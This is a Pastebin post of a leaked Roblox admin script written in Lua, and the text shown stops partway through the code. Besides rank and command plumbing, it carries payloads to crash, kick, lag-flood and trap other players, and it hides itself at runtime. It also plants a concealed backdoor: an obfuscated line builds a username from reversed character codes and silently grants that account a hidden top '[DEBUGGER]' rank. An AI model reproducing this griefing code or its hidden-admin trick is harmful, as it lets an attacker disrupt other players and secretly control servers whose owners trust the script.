Advertisement
hdh123

a

Dec 17th, 2015
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.47 KB | None | 0 0
  1. -- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
  2. wait(0)
  3. script.Parent = nil
  4. --This Admin (DVF) Was Created By elytowlo (A Hacker!).
  5. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  6. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  7. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  8. Plrs = game:GetService("Players")
  9. Work = game:GetService("Workspace")
  10. Light = game:GetService("Lighting")
  11. Net = game:GetService("NetworkServer")
  12. Owner = "hdh"
  13. Removed = false
  14. Bet = ";"
  15. LS = nil
  16. ls = loadstring
  17. LSSource = nil
  18. OwnSource = nil
  19. FoundLocalScript = false
  20. R = string.reverse
  21. LogOn = false
  22. Current = game
  23. Clipboard = {}
  24. AlertColor = Color3.new(0, 1, 1)
  25. OptionColor = Color3.new(1, 1, 1)
  26. ImportantColor = Color3.new(1, 0, 1)
  27.  
  28. RankDetails = {
  29. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  30. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  31. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  32. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  33. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  34. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  35. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  36. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  37. [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  38. }
  39.  
  40. Rankings = {
  41. {Name = "wetprinter", Rank = 5},
  42. {Name = "einsteinK", Rank = 5},
  43. {Name = "Abscissa", Rank = 4},
  44. {Name = "Ultimatekiller010", Rank = 3},
  45. {Name = "DrBackstab", Rank = 3},
  46. {Name = "LuaModelMaker", Rank = 3},
  47. {Name = "MakerModelLua", Rank = 3},
  48. {Name = "MrMrLua", Rank = 5},
  49. {Name = "MountainSnow", Rank = 3},
  50. {Name = "Madiik", Rank = 3},
  51. {Name = "dogwarrior24", Rank = 2},
  52. {Name = "ThePC8110", Rank = 2},
  53. {Name = "DEADDEVIL1919", Rank = 2},
  54. {Name = "toshir0z", Rank = 2},
  55. {Name = "Tippee", Rank = 2},
  56. {Name = "Trcker", Rank = 5},
  57. {Name = "nairod7", Rank = 2},
  58. {Name = "12packkid", Rank = 2},
  59. {Name = "TigreBlood", Rank = 2},
  60. {Name = "Frostftw", Rank = -1},
  61. {Name = "DoogleFox", Rank = 2},
  62. {Name = "", Rank = 5},
  63. {Name = "Ri1es", Rank = 2},
  64. {Name = "hrocks1", Rank = 2},
  65. {Name = "Zinsei", Rank = 5},
  66. {Name = "ToontownROXYA", Rank = 2},
  67. {Name = "tusKOr661", Rank = 2},
  68. {Name = "Unicornhax", Rank = 1},
  69. {Name = "iMayor", Rank = 1},
  70. {Name = "iMyLittlePony", Rank = 1},
  71. {Name = "xXxkarlxXx", Rank = 1},
  72. {Name = "LightningRoMan", Rank = 1},
  73. {Name = "BrandonFireFlower", Rank = 1},
  74. }
  75.  
  76. table.insert(Rankings, {Name = Owner, Rank = 5})
  77.  
  78. ImportantServices = {
  79. "Workspace",
  80. "Players",
  81. "NetworkServer",
  82. "Lighting",
  83. "StarterGui",
  84. "Teams",
  85. "StarterPack",
  86. }
  87.  
  88. Ranks = {}
  89. Commands = {}
  90. AllTabs = {}
  91. Injected = {}
  92.  
  93. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  94. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  95. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  96. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  97. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  98. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  99. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  100. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  101. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  102. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  103. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  104. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  105. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  106. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  107. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  108. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  109. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  110. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  111. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  112. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  113. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  114. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  115. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  116. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  117. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  118. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  119. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  120. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  121. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  122. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  123. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  124. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  125. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  126. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  127. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  128. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  129. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  130. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  131. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  132. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  133. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  134. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  135. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  136. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  137. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  138. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  139. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  140. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  141. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  142. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  143. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  144. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  145. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  146. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  147. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  148. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  149. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  150. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality","X","Y",
  151. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  152. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  153. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  154. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  155. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  156. "X","Y"}
  157.  
  158.  
  159. function Insert(Source, Par, Par2, Par3)
  160. ypcall(function()
  161. local Inserted = LS:Clone()
  162. Inserted.Disabled = true
  163. Inserted.Parent = Par or Par2 or Par3
  164. Inserted[LSSource].Value = Source
  165. Inserted.Disabled = false
  166. end)
  167. end
  168.  
  169. function Crash1(Plr)
  170. ypcall(function()
  171. Plr:Kick()
  172. end)
  173. end
  174.  
  175. function GetRankTab()
  176. return Rankings
  177. end
  178.  
  179. function Crash2(Name)
  180. local Crasher = Instance.new("StringValue")
  181. Crasher.Name = "Client"
  182. Crasher.Value = string.lower(tostring(Name))
  183. Crasher.Parent = game:GetService("Lighting")
  184. wait(1)
  185. if Crasher and Crasher.Parent then
  186. ypcall(function()
  187. Crasher:Destroy()
  188. end)
  189. end
  190. end
  191.  
  192. function GenerateDigit()
  193. return 1 + 5
  194. end
  195.  
  196. InjectionCrash = [=[
  197. wait(0)
  198. script.Parent = nil
  199. local Lig = game:GetService("Lighting")
  200. local LP = game:GetService("Players").LocalPlayer
  201. local LowerName = LP.Name:lower()
  202.  
  203. Lig.ChildAdded:connect(function(Obj)
  204. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  205. pcall(function()
  206. Obj:Destroy()
  207. end)
  208. LP.Parent = nil
  209. LP.Parent = game:GetService("Players")
  210. end
  211. end)
  212. ]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  213.  
  214. InsertCrash = [==[
  215. local LP = game:GetService("Players").LocalPlayer
  216. LP.Parent = nil
  217. LP.Parent = game:GetService("Players")
  218. ]==]
  219.  
  220. LagSource = [==[
  221. wait(0)
  222. script.Parent = nil
  223. plr = game:GetService("Players").LocalPlayer
  224. local plrgui = plr:findFirstChild("PlayerGui")
  225. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  226. while plr.Parent == game:GetService("Players") do
  227. wait()
  228. for i = 1, 1000 do
  229. local sc = Instance.new("ScreenGui",plrgui)
  230. local fr = Instance.new("TextLabel",sc)
  231. fr.Text = "LAGGING"
  232. fr.Size = UDim2.new(1, 0, 1, 0)
  233. fr.FontSize = "Size48"
  234. end
  235. end
  236. ]==]
  237.  
  238. MuteSource = [==[
  239. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  240. ]==]
  241.  
  242. UnMuteSource = [==[
  243. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  244. ]==]
  245.  
  246. JailSource = [==[
  247. wait(0)
  248. script.Parent = nil
  249.  
  250. local LP = game:GetService("Players").LocalPlayer
  251. Middle2 = nil
  252. Middle = nil
  253. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  254.  
  255. Cons = {}
  256.  
  257. function makePrison()
  258. for _,v in pairs(Cons) do
  259. v:disconnect()
  260. end
  261. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  262. if Middle == nil then
  263. Middle2 = LP.Character.Torso.Position
  264. Middle = LP.Character.Torso.CFrame
  265. end
  266. local side1 = Instance.new("Part")
  267. side1.Name = "¬Focus1¬"
  268. side1.Size = Vector3.new(20, 50, 1)
  269. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  270. side1.BrickColor = BrickColor.new("Really black")
  271. side1.CanCollide = true
  272. side1.Anchored = true
  273. side1.TopSurface = "Smooth"
  274. side1.BottomSurface = "Smooth"
  275. side1.Parent = game:GetService("Workspace").CurrentCamera
  276.  
  277. local side2 = Instance.new("Part")
  278. side2.Name = "¬Focus2¬"
  279. side2.Size = Vector3.new(20, 50, 1)
  280. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  281. side2.BrickColor = BrickColor.new("Really black")
  282. side2.CanCollide = true
  283. side2.Anchored = true
  284. side2.TopSurface = "Smooth"
  285. side2.BottomSurface = "Smooth"
  286. side2.Parent = game:GetService("Workspace").CurrentCamera
  287.  
  288. local side3 = Instance.new("Part")
  289. side3.Name = "¬Focus3¬"
  290. side3.Size = Vector3.new(1, 50, 20)
  291. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  292. side3.BrickColor = BrickColor.new("Really black")
  293. side3.CanCollide = true
  294. side3.Anchored = true
  295. side3.TopSurface = "Smooth"
  296. side3.BottomSurface = "Smooth"
  297. side3.Parent = game:GetService("Workspace").CurrentCamera
  298.  
  299. local side4 = Instance.new("Part")
  300. side4.Name = "¬Focus4¬"
  301. side4.Size = Vector3.new(1, 50, 20)
  302. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  303. side4.BrickColor = BrickColor.new("Really black")
  304. side4.CanCollide = true
  305. side4.Anchored = true
  306. side4.TopSurface = "Smooth"
  307. side4.BottomSurface = "Smooth"
  308. side4.Parent = game:GetService("Workspace").CurrentCamera
  309.  
  310. local side5 = Instance.new("Part")
  311. side5.Name = "¬Focus5¬"
  312. side5.Size = Vector3.new(20, 1, 20)
  313. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  314. side5.BrickColor = BrickColor.new("Really black")
  315. side5.CanCollide = true
  316. side5.Anchored = true
  317. side5.TopSurface = "Smooth"
  318. side5.BottomSurface = "Smooth"
  319. side5.Parent = game:GetService("Workspace").CurrentCamera
  320.  
  321. wait(0)
  322.  
  323. table.insert(Cons, side1.Changed:connect(makePrison))
  324. table.insert(Cons, side2.Changed:connect(makePrison))
  325. table.insert(Cons, side3.Changed:connect(makePrison))
  326. table.insert(Cons, side4.Changed:connect(makePrison))
  327. table.insert(Cons, side5.Changed:connect(makePrison))
  328. end
  329.  
  330. Delay(0, function()
  331. while wait(0) do
  332. ypcall(function()
  333. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  334. LP.Character:BreakJoints()
  335. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  336. makePrison()
  337. end
  338. end)
  339. ypcall(function()
  340. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  341. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  342. end
  343. end)
  344. end
  345. end)
  346. ]==]
  347.  
  348. function All()
  349. local AllPlayers = {}
  350. for _,v in pairs(Plrs:GetPlayers()) do
  351. ypcall(function()
  352. table.insert(AllPlayers, v)
  353. end)
  354. end
  355. return AllPlayers
  356. end
  357.  
  358. function All2()
  359. local AllPlayers2 = {}
  360. for i,v in pairs(Net:GetChildren()) do
  361. ypcall(function()
  362. if v:IsA("ServerReplicator") then
  363. table.insert(AllPlayers2, v:GetPlayer())
  364. end
  365. end)
  366. end
  367. return AllPlayers2
  368. end
  369.  
  370. function MakeNum()
  371. return 2 + 4
  372. end
  373.  
  374. function ChangeRank(Plr, NewRank)
  375. local PlrName = nil
  376. local FoundPlayer = false
  377. ypcall(function()
  378. if type(Plr) == "string" then
  379. ypcall(function()
  380. for i,v in pairs(Rankings) do
  381. if v.Name:lower() == Plr:lower() then
  382. local VName = v.Name
  383. Rankings[i] = nil
  384. table.insert(Rankings, {Name = VName, Rank = NewRank})
  385. PlrName = VName
  386. FoundPlayer = true
  387. break
  388. end
  389. end
  390. end)
  391. if FoundPlayer == false then
  392. ypcall(function()
  393. for _,x in pairs(All()) do
  394. if x.Name:lower() == Plr:lower() then
  395. FoundPlayer = true
  396. for i,v in pairs(Rankings) do
  397. if v.Name:lower() == x.Name:lower() then
  398. local VName = x.Name
  399. Rankings[i] = nil
  400. PlrName = VName
  401. break
  402. end
  403. end
  404. table.insert(Rankings, {Name = VName, Rank = NewRank})
  405. end
  406. end
  407. end)
  408. end
  409. if FoundPlayer == false then
  410. ypcall(function()
  411. for _,x in pairs(All()) do
  412. if string.find(x.Name:lower(), Plr:lower()) then
  413. FoundPlayer = true
  414. for i,v in pairs(Rankings) do
  415. if v.Name:lower() == x.Name:lower() then
  416. local VName = x.Name
  417. Rankings[i] = nil
  418. PlrName = VName
  419. break
  420. end
  421. end
  422. table.insert(Rankings, {Name = VName, Rank = NewRank})
  423. end
  424. end
  425. end)
  426. end
  427. if FoundPlayer == false then
  428. ypcall(function()
  429. for i,v in pairs(Rankings) do
  430. if string.find(v.Name:lower(), Plr:lower()) then
  431. local VName = v.Name
  432. Rankings[i] = nil
  433. table.insert(Rankings, {Name = VName, Rank = NewRank})
  434. PlrName = VName
  435. FoundPlayer = true
  436. break
  437. end
  438. end
  439. end)
  440. end
  441. else
  442. for i,v in pairs(Rankings) do
  443. if v.Name:lower() == Plr.Name:lower() then
  444. Rankings[i] = nil
  445. break
  446. end
  447. end
  448. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  449. PlrName = Plr.Name
  450. end
  451. PlaceAllRanks(true)
  452. end)
  453. if PlrName ~= nil then
  454. return PlrName
  455. else
  456. return "Player"
  457. end
  458. end
  459.  
  460. function Refresh(Plr)
  461. MakeChildren(Plr)
  462. end
  463.  
  464. function MakeChildren(Plr)
  465. ypcall(function()
  466. Dismiss(Plr)
  467. for _,v in pairs(Current:GetChildren()) do
  468. ypcall(function()
  469. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  470. Ping(v.Name, Plr, nil, function(TabMod)
  471. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  472. for _,v in pairs(Current:GetChildren()) do
  473. ypcall(function()
  474. if v.Name == TabText then
  475. Dismiss(Plr)
  476. Current = v
  477. MakeChildren(Plr)
  478. end
  479. end)
  480. end
  481. end)
  482. elseif Plrs:GetPlayerFromCharacter(v) then
  483. Ping(v.Name, Plr, nil, function(TabMod)
  484. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  485. for _,v in pairs(Current:GetChildren()) do
  486. ypcall(function()
  487. if v.Name == TabText then
  488. Dismiss(Plr)
  489. Current = v
  490. MakeChildren(Plr)
  491. end
  492. end)
  493. end
  494. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  495. elseif CheckImportant(v.Name) then
  496. Ping(v.Name, Plr, nil, function(TabMod)
  497. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  498. for _,v in pairs(Current:GetChildren()) do
  499. ypcall(function()
  500. if v.Name == TabText then
  501. Dismiss(Plr)
  502. Current = v
  503. MakeChildren(Plr)
  504. end
  505. end)
  506. end
  507. end, ImportantColor)
  508. end
  509. end)
  510. end
  511. if Current ~= game then
  512. Ping("Back", Plr, nil, function()
  513. ypcall(function()
  514. Current = Current.Parent
  515. MakeChildren(Plr)
  516. Ping("You Are Back To "..Current.Name, Plr, 5)
  517. end)
  518. end, OptionColor)
  519. end
  520. if Current ~= game then
  521. Ping("Delete", Plr, nil, function()
  522. ypcall(function()
  523. local CurrPar = Current.Parent or game
  524. local CurrName = Current.Name
  525. Current:Destroy()
  526. Current = CurrPar
  527. MakeChildren(Plr)
  528. Ping("Attempted To Delete "..CurrName, Plr, 5)
  529. end)
  530. end, OptionColor)
  531. end
  532. Ping("Refresh", Plr, nil, function()
  533. ypcall(function()
  534. Refresh(Plr)
  535. Ping("Refreshed", Plr, 5)
  536. end)
  537. end, OptionColor)
  538. Ping("Properties", Plr, nil, function()
  539. ypcall(function()
  540. Dismiss(Plr)
  541. for Property, Value in pairs(GetProperties(Current)) do
  542. Ping(tostring(Property)..": "..tostring(Value), Plr)
  543. end
  544. Ping("Got All Available Properties", Plr, 5)
  545. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  546. end)
  547. end, OptionColor)
  548. end)
  549. end
  550.  
  551. function Fixl()
  552. Light.GlobalShadows = true
  553. Light.TimeOfDay = "14:00:00"
  554. Light.Brightness = 0.5
  555. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  556. Light.Ambient = Color3.new(1, 1, 1)
  557. Light.ColorShift_Top = Color3.new(0, 0, 0)
  558. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  559. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  560. Light.FogStart = 0
  561. Light.FogEnd = 100000
  562. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  563. Light:ClearAllChildren()
  564. end
  565.  
  566. function GetProperties(obj)
  567. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  568. local objProper = {}
  569. for i,v in pairs(Properties) do
  570. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  571. objProper[v] = obj[v]
  572. end
  573. end
  574. return objProper
  575. end
  576.  
  577. function MakeExplorer(Plr)
  578. Dismiss(Plr)
  579. Current = game
  580. for _,v in pairs(Current:GetChildren()) do
  581. ypcall(function()
  582. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  583. Ping(v.Name, Plr, nil, function(TabMod)
  584. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  585. for _,v in pairs(Current:GetChildren()) do
  586. ypcall(function()
  587. if v.Name == TabText then
  588. Dismiss(Plr)
  589. Current = v
  590. MakeChildren(Plr)
  591. end
  592. end)
  593. end
  594. end)
  595. elseif Plrs:GetPlayerFromCharacter(v) then
  596. Ping(v.Name, Plr, nil, function(TabMod)
  597. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  598. for _,v in pairs(Current:GetChildren()) do
  599. ypcall(function()
  600. if v.Name == TabText then
  601. Dismiss(Plr)
  602. Current = v
  603. MakeChildren(Plr)
  604. end
  605. end)
  606. end
  607. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  608. elseif CheckImportant(v.Name) then
  609. Ping(v.Name, Plr, nil, function(TabMod)
  610. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  611. for _,v in pairs(Current:GetChildren()) do
  612. ypcall(function()
  613. if v.Name == TabText then
  614. Dismiss(Plr)
  615. Current = v
  616. MakeChildren(Plr)
  617. end
  618. end)
  619. end
  620. end, ImportantColor)
  621. end
  622. end)
  623. end
  624. if Current ~= game then
  625. Ping("Back", Plr, nil, function()
  626. ypcall(function()
  627. Current = Current.Parent
  628. MakeChildren(Plr)
  629. Ping("Back In "..Current.Name, Plr, 5)
  630. end)
  631. end, OptionColor)
  632. end
  633. if Current ~= game and game:GetService(Current.Name) == nil then
  634. Ping("Delete", Plr, nil, function()
  635. ypcall(function()
  636. local CurrPar = Current.Parent or game
  637. local CurrName = Current.Name
  638. Current:Destroy()
  639. Current = CurrPar
  640. MakeChildren(Plr)
  641. Ping("Attempted To Delete "..CurrName, Plr, 5)
  642. end)
  643. end, OptionColor)
  644. end
  645. Ping("Refresh", Plr, nil, function()
  646. ypcall(function()
  647. Refresh(Plr)
  648. Ping("Refreshed", Plr, 5)
  649. end)
  650. end, OptionColor)
  651. Ping("Properties", Plr, nil, function()
  652. ypcall(function()
  653. Dismiss(Plr)
  654. for Property, Value in pairs(GetProperties(Current)) do
  655. Ping(tostring(Property)..": "..tostring(Value), Plr)
  656. end
  657. Ping("Got All Available Properties", Plr, 5)
  658. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  659. end)
  660. end, OptionColor)
  661. end
  662.  
  663. function GetRank(Plr1, Test)
  664. ypcall(function()
  665. if type(Plr1) == "userdata" then
  666. Plr1 = Plr1.Name
  667. end
  668. end)
  669. if Ranks[Plr1] ~= nil then
  670. return Ranks[Plr1]
  671. end
  672. local QuickArray = {}
  673. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  674. return QuickArray[Plr1]
  675. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  676.  
  677. function CanRun(Plr1, Plr2)
  678. Details1 = GetRank(Plr1.Name)
  679. Details2 = GetRank(Plr2.Name)
  680. if Details1.Rank >= Details2.Rank then
  681. return true
  682. end
  683. return false
  684. end
  685.  
  686. function Dismiss(Plr, Identity)
  687. ypcall(function()
  688. if Plr ~= nil then
  689. if type(Plr) == "userdata" then
  690. Plr = Plr.Name
  691. end
  692. for x,v in pairs(AllTabs) do
  693. ypcall(function()
  694. if v.Plr == Plr then
  695. if Identity ~= nil and v.ID ~= Identity then
  696. return
  697. elseif Identity ~= nil and v.ID == Identity then
  698. coroutine.resume(coroutine.create(function()
  699. for i = 0.5, 1, 0.1 do
  700. wait()
  701. v.Tab.Transparency = i
  702. v.Sel.Transparency = i
  703. v.Label.TextTransparency = i
  704. v.Label.TextStrokeTransparency = i
  705. end
  706. ypcall(function() v.Holder:Destroy() end)
  707. AllTabs[x] = nil
  708. end))
  709. elseif Identity == nil then
  710. ypcall(function() v.Holder:Destroy() end)
  711. AllTabs[x] = nil
  712. end
  713. end
  714. end)
  715. end
  716. else
  717. for i,v in pairs(AllTabs) do
  718. ypcall(function()
  719. v.Holder:Destroy()
  720. AllTabs[i] = nil
  721. end)
  722. end
  723. end
  724. end)
  725. end
  726.  
  727. function GetGarbage()
  728. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  729. end
  730.  
  731. function RemObj(Obj, Class)
  732. ypcall(function()
  733. if #Obj:GetChildren() > 0 then
  734. for _,x in pairs(Obj:GetChildren()) do
  735. ypcall(function()
  736. RemObj(x, Class)
  737. end)
  738. end
  739. end
  740. if Obj.ClassName == Class then
  741. Obj:Destroy()
  742. end
  743. end)
  744. end
  745.  
  746. function FindTab(Mod)
  747. for i,v in pairs(AllTabs) do
  748. if v.Holder == Mod then
  749. return true
  750. end
  751. end
  752. return false
  753. end
  754.  
  755. function Ping(Msg, Plr, Time, Func, Color, Image)
  756. if Removed == false then
  757. local ShowGarbage = false
  758. ypcall(function()
  759. if Msg == nil then
  760. Msg = "N/A"
  761. elseif Msg == "ShowGarbage" then
  762. Msg = "Current Garbage Count: "..GetGarbage()
  763. ShowGarbage = true
  764. else
  765. Msg = tostring(Msg)
  766. end
  767. if Plr == nil then
  768. Plr = Plrs[Owner] or error("No Player Found")
  769. elseif type(Plr) == "string" then
  770. local FoundPlr = false
  771. for _,v in pairs(All()) do
  772. if v.Name == Plr then
  773. Plr = v
  774. FoundPlr = true
  775. break
  776. end
  777. end
  778. if FoundPlr == false then
  779. Plr = Plrs[Owner] or error("No Player Found")
  780. end
  781. end
  782.  
  783. if Color == nil then
  784. Color = GetRank(Plr.Name).Color
  785. end
  786.  
  787. local Holder = Instance.new("Model")
  788. Holder.Name = "DVF Holder: "..Plr.Name
  789.  
  790. local Tab = Instance.new("Part")
  791. Tab.Name = "DVF Tablet"
  792. Tab.FormFactor = "Custom"
  793. Tab.Anchored = true
  794. if Time == nil then
  795. Tab.Color = Color
  796. else
  797. Tab.Color = AlertColor
  798. end
  799. Tab.CanCollide = false
  800. Tab.Locked = true
  801. Tab.Transparency = 0.15
  802. Tab.Size = Vector3.new(2, 2, 0.01)
